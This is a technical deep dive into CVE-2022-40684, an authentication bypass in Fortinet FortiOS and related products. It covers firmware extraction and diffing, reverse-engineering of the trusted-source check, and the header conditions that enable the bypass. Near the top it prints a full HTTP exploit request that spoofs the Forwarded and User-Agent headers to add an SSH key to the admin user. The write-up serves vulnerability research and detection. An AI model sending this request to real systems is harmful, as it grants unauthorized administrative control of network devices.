FortiOS, FortiProxy, and FortiSwitchManager Authentication Bypass Technical Deep Dive (CVE-2022-40684)


Fortinet recently patched a critical authentication bypass vulnerability in their FortiOS, FortiProxy, and FortiSwitchManager projects (CVE-2022-40684). This vulnerability gives an attacker the ability to login as an administrator on the affected system. To demonstrate the vulnerability in this writeup, we will be using FortiOS version 7.2.1


Let’s examine the inner workings of this vulnerability. You can find our POC here. The vulnerability is used below to add an SSH key to the admin user, enabling an attacker to SSH into the effected system as admin.

PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host: User-Agent: Report Runner Content-Type: application/json Forwarded: for=”[]:8000″;by=”[]:9000″; Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58= dev@devs-MacBook-Pro.local\”” }

Deep Dive

FortiOS exposes a management web portal that allows a user configure the system. Additionally, a user can SSH into the system which exposes a locked down CLI interface. Our first step after familiarizing ourselves with the system was to diff the vulnerable firmware with the patched firmware.

Firmware Examination

We obtained a VMware zip file of the firmware which contained two vmdk files. First, we examined the vmdk files with virt-filesystems and mounted them with guestmount:

$>ls *.vmdk
datadrive.vmdk fortios.vmdk
$>sudo virt-filesystems --filesystems -a fortios.vmdk 
$>sudo mkdir fortios_mount
$>sudo guestmount -a fortios.vmdk -m /dev/sda1 --ro fortios_mount
$>cd fortios_mount
boot.msg datafs.tar.gz extlinux.conf filechecksum flatkc flatkc.chk ldlinux.c32 ldlinux.sys lost+found rootfs.gz rootfs.gz.chk

Next, we extract the root filesystem where we find a hand full of .tar.xz files:

$>sudo cp ../fortios_mount/rootfs.gz .
$>gunzip rootfs.gz 
$>cpio -i 2> /dev/null < rootfs 
bin.tar.xz bin.tar.xz.chk boot data data2 dev etc fortidev init lib lib64 migadmin.tar.xz node-scripts.tar.xz proc rootfs sbin sys tmp usr usr.tar.xz usr.tar.xz.chk var

Interestingly, attempting to decompress the xz files fail with corruption errors:

$>xz --decompress *.xz
xz: bin.tar.xz: Compressed data is corrupt
xz: migadmin.tar.xz: Compressed data is corrupt
xz: node-scripts.tar.xz: Compressed data is corrupt
xz: usr.tar.xz: Compressed data is corrupt

Its unclear if this is an attempt at obfuscation, but we find a version of xz in the sbin folder of the firmware. We can’t run it as is, but we can patch its linker to point to our system linker to finally decompress the files:

$>xz --decompress *.xz
xz: bin.tar.xz: Compressed data is corrupt
xz: migadmin.tar.xz: Compressed data is corrupt
xz: node-scripts.tar.xz: Compressed data is corrupt
xz: usr.tar.xz: Compressed data is corrupt
$>find . -name xz
$>./sbin/xz --decompress *.xz
bash: ./sbin/xz: No such file or directory
$>file ./sbin/xz
./sbin/xz: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /fortidev/lib64/, BuildID[sha1]=eef5d20a9f8760df951ed122a5faf4de86a7128a, for GNU/Linux 3.2.0, stripped
$>patchelf --set-interpreter /lib64/ sbin/xz
$>./sbin/xz --decompress *.xz
$>ls *.tar
bin.tar migadmin.tar node-scripts.tar usr.tar

Next, we untar the files and begin examining their contents. We find /bin contains a large collection of binaries, many of which are symlinks to /bin/init. The migadmin folder appears to contain the frontend web code for the administrative interface. The node-scripts folder appears to contain a NodeJs backend for the administrative interface. Lastly, the usr folder contains a libaries folder and an apache2 configuration folder.

The Patch

We apply the same steps to firmware version 7.2.2 to enable diffing of the filesystems. In the bin folder, we find the large init binary has changed and in the node-scripts folder we find the index.js file has changed:

index.js diff

This diff shows that the httpsd proxy handler explicitly sets the forwardedx-forwarded-vdom, and x-forwarded-cert headers. This gives us a hint as to where to start looking for clues on how to exploit this vulnerability.

HTTPSD and Apache Handlers

After some searching, we discover that the init binary we mentioned earlier contains some strings matching the headers in the NodeJs diff. This init binary is rather large and appears to have a lot of functionality including Apache hooks and handlers for various management REST API endpoints. To aid in our research, we SSH’d into the system and enabled debug output for the httpsd process:

fortios_7_2_1 # diagnose debug enable 
fortios_7_2_1 # diagnose debug application httpsd -1
Debug messages will be on for 5 minutes.
fortios_7_2_1 # diagnose debug cli 8
Debug messages will be on for 5 minutes.

While investigating the forwarded header, we find an apache access_check_ex hook that parses the header, extracts the for and by fields, and attaches them to the Apache request_rec structure. You can see that the for field allows us to set the client_ip field on the request record’s connection.

forwarded header parsing

Additionally, we see a log message that mentioned which handler is used for a particular request.

[httpsd 12478 - 1665412044     info] fweb_debug_init[412] -- Handler "api_cmdb_v2-handler" assigned to request

After searching for the handler string, we find an array of handlers in the init binary:

hander array

After investigating some of the handlers, we find that many of them make a call to a function we named api_check_access:


We were immediately drawn to api_check_access_for_trusted_source which first checks if the vdom socket option is trusted, but then falls through to a function we called is_trusted_ip_and_user_agent.


You can see that this function checks that the client_ip is “127.0.01” and that the User-Agent header matches the second parameter. This function gets called with two possible parameters: “Node.js” and “Report Runner”. The “Node.js” path seems to perform some additional validation, but using “Report Runner” allows us to bypass authentication and perform API requests!


The ability to make unauthenticated request to the the REST API is extremely powerful. However, we noticed that we could not add or change the password for the admin user. To get around this we updated the admin users SSH-keys to allow us to SSH to the target as admin. See our original announcement.


To wrap things up here is an overview of the necessary conditions of a request for exploiting this vulnerabilty:

  1. Using the Fowarded header an attacker is able to set the client_ip to  “”.
  2. The “trusted access” authentication check verifies that the client_ip is “” and the User-Agent is “Report Runner” both of which are under attacker control.

Any HTTP requests to the management interface of the system that match the conditions above should be cause for concern. An attacker can use this vulnerability to do just about anything they want to the vulnerable system. This includes changing network configurations, adding new users, and initiating packet captures. Note that this is not the only way to exploit this vulnerability and there may be other sets of conditions that work. For instance, a modified version of this exploit uses the User-Agent “Node.js”. This exploit seems to follow a trend among recently discovered enterprise software vulnerabilities where HTTP headers are improperly validated or overly trusted. We have seen this in recent F5 and VMware vulnerabilities.

Source :